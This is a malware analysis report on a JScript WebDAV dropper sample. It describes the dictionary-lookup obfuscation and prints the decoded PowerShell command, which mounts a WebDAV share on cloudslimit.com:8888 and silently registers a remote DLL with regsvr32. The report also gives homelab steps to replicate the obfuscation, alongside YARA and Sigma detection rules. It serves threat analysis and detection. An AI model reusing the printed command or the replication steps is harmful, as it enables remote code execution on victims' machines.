unclassified-js-webdav-dropper: 94686f16 — 62-entry three-word natural-language dictionary, victoriousworryfilm object, cloudslimit.com:8888

Executive Summary

JScript WebDAV dropper — the thirty-third confirmed sibling in the unclassified-js-webdav-dropper family. Uses a 62-entry dictionary lookup-table obfuscation with three-word natural-language compound-phrase keys (pocketoverratedshiny, gutturalalivegrade) and a victoriousworryfilm object name. Stages via WScript.Shell → PowerShell -EncodedCommand to mount a WebDAV share on cloudslimit.com:8888 and silently register 218791486131743.dll via regsvr32 /s. No sandbox gate, no wordpad decoy, no persistence.

What It Is

• File: 2196124770121515105.js (18,257 bytes) ^[metadata.json]
• Type: ASCII text, single-line JScript with very long lines (18,257 chars) ^[file.txt]
• SHA-256: 94686f16158a32fec0f36ef888a4c20ca423fdd0dfd4992df7d2912befd67001
• Family: unclassified-js-webdav-dropper — thirty-third confirmed sibling
• Source: MalwareBazaar via OpenCTI connector ^[metadata.json]

No PE structure; rabin2 reports bits: 0, havecode: false ^[rabin2-info.txt]. capa and binwalk both abort (not a supported binary class) ^[capa.txt] ^[binwalk.txt].

How It Works

Obfuscation Engine

Two nested try/catch decoys force the catch path: ^[strings.txt:1]

try{pocketoverratedshiny();}catch(picturecleveraware){...}
try{fangtremendouscapable();}catch(riverroughrule){...}

The catch block builds a 62-entry character dictionary on victoriousworryfilm, then assembles the payload via Function('return this')() global construction. ^[strings.txt:1]

Key naming convention: Three-word natural-language compound phrases (no alliteration, no semantic coherence). Examples from the dictionary: ^[strings.txt:1]

This is the third natural-language compound-phrase variant observed on cloudslimit.com infrastructure, after aac0198b5 (62-entry, erectaverageavoid keys) and a3419c27a (62-entry, saltwhiteclean keys).

Decoded Payload

return this WScript CreateObject WScript Shell run powershell -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADEAOAA3ADkAMQA0ADgANgAxADMAMQA3ADQAMwAuAGQAbABsAA

Decoded Base64 (UTF-16LE): ^[strings.txt:1]

net use \\cloudslimit.com@8888\davwwwroot\ ; regsvr32 /s \\cloudslimit.com@8888\davwwwroot\218791486131743.dll

C2: cloudslimit.com:8888 (single domain for both net use mount and payload fetch). No split-domain C2 observed (contrast with sibling fb353965).

Execution chain: wscript.exe → powershell.exe -EncodedCommand → cmd.exe (net use) → regsvr32.exe /s \\...\*.dll.

No wordpad decoy. No sandbox gate. No persistence mechanism. One-shot execution.

Decompiled Behavior

Not applicable — JScript text, not a PE binary. No Ghidra or radare2 analysis performed.

C2 Infrastructure

No additional domains, IPs, URLs, mutexes, or registry keys recovered.

Interesting Tidbits

• Object name: victoriousworryfilm — 20 characters, three English words. The object name varies per sample and serves as a quick visual fingerprint.
• Dictionary size: 62 entries (full printable ASCII plus common symbols), same cardinality as df42ecf8, aac0198b5, a3419c27a, cc90d6c, ccb2d007, and e6ebae6a.
• No wordpad decoy: Unlike the 45.9.74.36:8888 batch-SET variants, the cloudslimit.com dictionary variants consistently omit the color f0 && start wordpad distraction.
• Single-domain C2: Both net use and regsvr32 point to the same cloudslimit.com:8888 host. Earlier sibling fb353965 used split domains (cloudslimit.com vs cloudskimit.com).
• No sandbox gate: No process-list checks, no connectivity probes, no time bombs. Execution is unconditional.

How To Mess With It (Homelab Replication)

1. Build the dictionary. Pick 62 three-word English compound phrases and map each to a single ASCII character.
2. Encode your payload. Split the command into character-by-character dictionary lookups.
3. Wrap in decoy. Use nested try{undefinedFunction();}catch(e){...} to force the catch path.
4. Test against EDR. Run through Windows Defender or your EDR's script engine. Static string detection fails; behavioral detection (monitoring WScript.Shell.Run spawning powershell.exe) catches it.
5. Verify with Process Monitor: wscript.exe → powershell.exe → cmd.exe → net.exe → regsvr32.exe with UNC path.

Deployable Signatures

YARA Rule

rule JS_WebDAV_Dropper_Dictionary_NaturalLanguage
{
    meta:
        description = "JScript WebDAV dropper with natural-language dictionary lookup obfuscation"
        author = "PacketPursuit"
        date = "2026-07-01"
        hash = "94686f16158a32fec0f36ef888a4c20ca423fdd0dfd4992df7d2912befd67001"
    strings:
        $dict_pattern = /\w{10,30}=\[\];\w{10,30}\['[a-z]{10,40}'\]='[a-zA-Z0-9]';/
        $func_return_this = "Function(''+"
        $davwwwroot = "DavWWWRoot" nocase
        $regsvr32 = "regsvr32" nocase
        $net_use = "net use" nocase
    condition:
        #dict_pattern >= 30 and
        $func_return_this and
        ($davwwwroot or $regsvr32 or $net_use)
}

Sigma Rule

title: JScript WebDAV Dropper Execution Chain
logsource:
  category: process_creation
  product: windows
detection:
  selection_wscript:
    ParentImage|endswith: '\wscript.exe'
    CommandLine|contains:
      - 'powershell'
      - '-EncodedCommand'
  selection_webdav:
    CommandLine|contains:
      - 'cloudslimit.com'
      - 'DavWWWRoot'
      - 'regsvr32'
  selection_regsvr32_unc:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains: '\\'
  condition: 1 of selection_*
falsepositives:
  - Legitimate IT administration using regsvr32 with network paths
level: high

IOC List

Behavioral Fingerprint

This JScript dropper builds a 50–70 entry character dictionary using natural-language compound-phrase keys, assembles a PowerShell -EncodedCommand payload via Function('return this')() global construction, and executes net use \\<domain>@8888\DavWWWRoot\ followed by regsvr32 /s \\<domain>@8888\DavWWWRoot\<numeric>.dll. No sandbox gate, no decoy application, no persistence. One-shot WebDAV DLL sideloading.

Detection Signatures

References

• OpenCTI artifact: 25af1ff2-6cd6-48af-ae78-6deb739e7358 ^[metadata.json]
• Family entity: unclassified-js-webdav-dropper
• Technique: js-dictionary-char-lookup-obfuscation
• Technique: webdav-regsvr32-dll-sideloading
• Sibling aac0198b5: natural-language compound-phrase keys on cloudslimit.com:8888 ^[/intel/analyses/aac0198b599d6d2b6d4aee41548834abc3c952e448530ecb48cc003a18a73c10.html]
• Sibling a3419c27a: natural-language compound-phrase keys on cloudslimit.com:8888 ^[/intel/analyses/a3419c27a814123e4576d29186ab985b2c28ef33f3153de6b81eb17b01a09990.html]

Provenance

• file.txt — file(1) output
• strings.txt — raw script content (line 1, full payload)
• metadata.json — OpenCTI artifact metadata
• rabin2-info.txt — radare2 binary header summary
• capa.txt — Mandiant capa (unsupported file type)
• binwalk.txt — binwalk scan (no signatures matched)
• Manual dictionary decode via Python3 regex substitution